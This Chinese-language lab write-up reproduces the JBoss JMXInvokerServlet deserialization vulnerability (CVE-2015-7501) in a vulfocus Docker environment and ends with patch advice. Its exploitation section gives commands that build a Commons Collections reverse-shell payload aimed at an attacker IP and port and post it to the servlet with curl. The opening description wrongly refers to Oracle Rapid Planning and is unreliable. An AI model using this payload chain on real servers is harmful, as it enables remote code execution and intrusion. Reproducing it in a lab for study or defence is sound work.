JBoss JMXInvokerServlet 反序列化漏洞 CVE-2015-7501 已亲自复现
漏洞名称
漏洞描述
在Oracle Rapid Planning 12.1/12.2.2中发现了一个被归类为"严重"的漏洞。受到影响的是一些未知的组件处理中间层。升级可消除此漏洞。在泄露漏洞后立即发布了可能的缓解措施。
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本
Redhat Jboss_Operations_Network 3.0
Redhat Jboss_Enterprise_Brms_Platform 5.0.0
Redhat Jboss_Enterprise_Application_Platform 4.3.0
Redhat Jboss_Enterprise_Application_Platform 5.0.0
Redhat Jboss_Data_Virtualization 5.0.0
Redhat Jboss_Enterprise_Application_Platform 6.0.0
Redhat Xpaas 3.0.0
Redhat Jboss_Enterprise_Soa_Platform 5.0.0
Redhat Jboss_Fuse_Service_Works 6.0
Redhat Subscription_Asset_Manager 1.3.0
Redhat Jboss_Bpm_Suite 6.0.0
Redhat Data_Grid 6.0.0
Redhat Jboss_A-Mq 6.0.0
Redhat Jboss_Fuse 6.0.0
Redhat Jboss_Portal 6.0.0
Redhat Jboss_Data_Virtualization 6.0.0
Redhat Openshift 3.0
Redhat Jboss_Enterprise_Brms_Platform 6.0.0
Redhat Jboss_Enterprise_Web_Server 3.0.0
漏洞复现
环境搭建
受害者IP:192.168.63.129:65336
攻击者IP:192.168.63.1
vulfocus下载链接
bash
https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git
启动vulfocus
bash
docker-compose up -d
环境启动后,访问http://192.168.63.129:65336即可看到一个Jboss页面,说明已成功启动。
访问路径/invoker/JMXInvokerServlet,若提示JMXInvokerServlet文件下载则说明可能存在漏洞;
漏洞利用
通过借助ysoserial的eCommonsCollections5利用链来复现。生成Payload,生成编译后的Java文件
ReverseShellCommonsCollectionsHashMap.class,生成ReverseShellCommonsCollectionsHashMap.ser文件,进行反弹shell。
bash
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.63.1:7777
bash
curl http://192.168.63.129:65336/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
使用burp看看响应体会返回什么,抓取原始请求的响应。
由于在处理/invoker/JMXInvokerServlet请求的时候会读取用户传入的对象,那我们可以构造恶意的数据传入,当jboss处理该数据时即可执行该恶意数据,从而达到执行任意代码的效果;
将生成的ReverseShellCommonsCollectionsHashMap.ser下载到本地,burp抓包后修改为post提交方式,接着右击paste from file上传生成的ReverseShellCommonsCollectionsHashMap.ser文件;(注:攻击机要先开启监听)
修复建议
Red Hat JBoss Portal任意代码执行漏洞(CVE-2015-7501)的补丁--- 登录红帽门户安装对应修复版本
补丁链接:https://access.redhat.com/security/vulnerabilities/2059393
总结
如果payload请求成功,在响应头中返回的状态码为200,在响应体中抛出 org.jboss.invocation.InvocationException异常信息,则需要结合网络日志和流量日志进行分析。如果返回其他状态码,则攻击失败。